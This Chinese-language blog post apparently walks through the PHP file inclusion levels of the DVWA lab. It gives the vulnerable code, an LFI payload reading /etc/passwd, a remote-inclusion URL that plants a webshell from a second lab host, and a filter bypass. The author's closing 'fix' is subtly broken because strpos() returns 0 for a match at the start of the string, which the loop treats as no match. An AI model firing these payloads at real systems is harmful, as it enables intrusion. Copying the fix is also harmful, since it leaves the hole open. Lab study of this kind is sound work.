赞
踩
文件包含漏洞的原理:
在开发过程中,文件包含是一种正常的、频繁使用的一种代码编写的正确方式。
以python、php、c语言等为了其主要通过include语句来实现文件包含。
从本人开发的经历来看,首先建立网页的框架,然后在其他文件中使用include语句将该框架引用到其他文件中,能够减少写码的数量,且提高代码的逻辑关系,并能提高代码的通用性和专用性。
但是安全意识比较低的同事为了方便会经常使用include *等方式引入其他文件,从而为黑客造成可以利用的漏洞。
常见文件包含php语句理解:
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():若文件中代码已被包含则不会再次包含
文件包含分类:
LFI(local file include):本地文件包含
RFI(remote file include):远程文件包含
声明:本文中使用的代码和示例均来自owasp的bwa项目,且真实的网址是看不到这些后台代码的。
url = http://172.16.238.135/dvwa/vulnerabilities/fi/?page=include.php
其本质是:http://172.16.238.135/dvwa/vulnerabilities/fi/index.php?page=include.php
解读:其表示index文件中使用了包含语句,在打开该网页使将include.php也同时进行执行。
index.php代码:
<?php define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; dvwaPageStartup( array( 'authenticated', 'phpids' ) ); $page = dvwaPageNewGrab(); $page[ 'title' ] .= $page[ 'title_separator' ].'Vulnerability: File Inclusion'; $page[ 'page_id' ] = 'fi'; dvwaDatabaseConnect(); $vulnerabilityFile = ''; switch( $_COOKIE['security'] ) { case 'low': $vulnerabilityFile = 'low.php'; break; case 'medium': $vulnerabilityFile = 'medium.php'; break; case 'high': default: $vulnerabilityFile = 'high.php'; break; } require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/fi/source/{$vulnerabilityFile}"; $page[ 'help_button' ] = 'fi'; $page[ 'source_button' ] = 'fi'; include($file); dvwaHtmlEcho( $page ); ?>
其中include( f i l e ) , 表 示 包 含 了 变 量 file),表示包含了变量 file),表示包含了变量file。
低安全级别代码:
<?php
$file = $_GET['page']; //The page we wish to display
?>
在该代码中,开发人员未对包含的文件做出任何判断,是黑客可以随便定义自己的包含内容(恶意代码)。
中安全级别代码:
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
在该代码中,开放人员对包含的内容进行了简单的检测和限制,将包含语句中的http://和https://替换为空字符串。
该代码对于LFI是没有任何限制的,对于RFI,可以通过将包含语句写为hthttp://tp://等形式就可以简单的绕过该检测方法,达到低安全级别相同的效果。
高安全级别代码:
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
在该代码中,开发人员严格限制了包含文件的名称,使文件包含漏洞消失(视频中认为该代码已做到绝对的安全,后续学习不知是否能和其他渗透方法配合达到渗透的成功)。
该代码大大增加了开发人员系统开发和维护成本。
好的办法可能是专门定义一个比如include_all.php文件用了存放所有include语句,然后引用include_all.php文件,每次维护只需修改include_all文件即可。
攻击及理解:
低安全级别:
LFI:
将url修改为:http://172.16.238.135/dvwa/vulnerabilities/fi/?page=etc/passwd
显示如下:
RFI:
利用一个远程服务器(172.16.238.133),将url修改为:
http://172.16.238.135/dvwa/vulnerabilities/fi/?page=http://172.16.238.133/lmh.txt
其中172.16.238.133/lmh.txt的文件内容为:
解读:打开一个shell50.php文件,并在该文件中写入后面的代码。
url解读:
在web服务的fi目录下会生成一个文件:shell50.php
然后通过中国菜刀访问该服务的shell50.php。
此时可执行多个语句放到远程服务器上,操作比较方便。
中安全级别:
LFI:中安全级别没对本地文件的包含做检测,攻击和低安全级别的一致。
RFI:中安全解绑仅对远程文件的包含做了简单检查,通过对url后面
page=http://172.16.238.133/lmh.txt进行修改即可绕过该检查方法。
比如,page=hthttp://tp://172.16.238.133/lmh.txt
检测发放将http://替换为空,上面的url就变更了page=http://172.16.238.133/lmh.txt,达到可远程文件访问的效果。
设想是否可以通过死循环实现对$file变量进行检查,每次将http://进行替换,比如:
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
while(true){
if ((strpos($file , "http://"))or (strpos($file ,"https://"))){
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
}
else
{
break;
}
}
?>
上面的代码是自己第一次仿照写的php代码,如有问题请指正。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。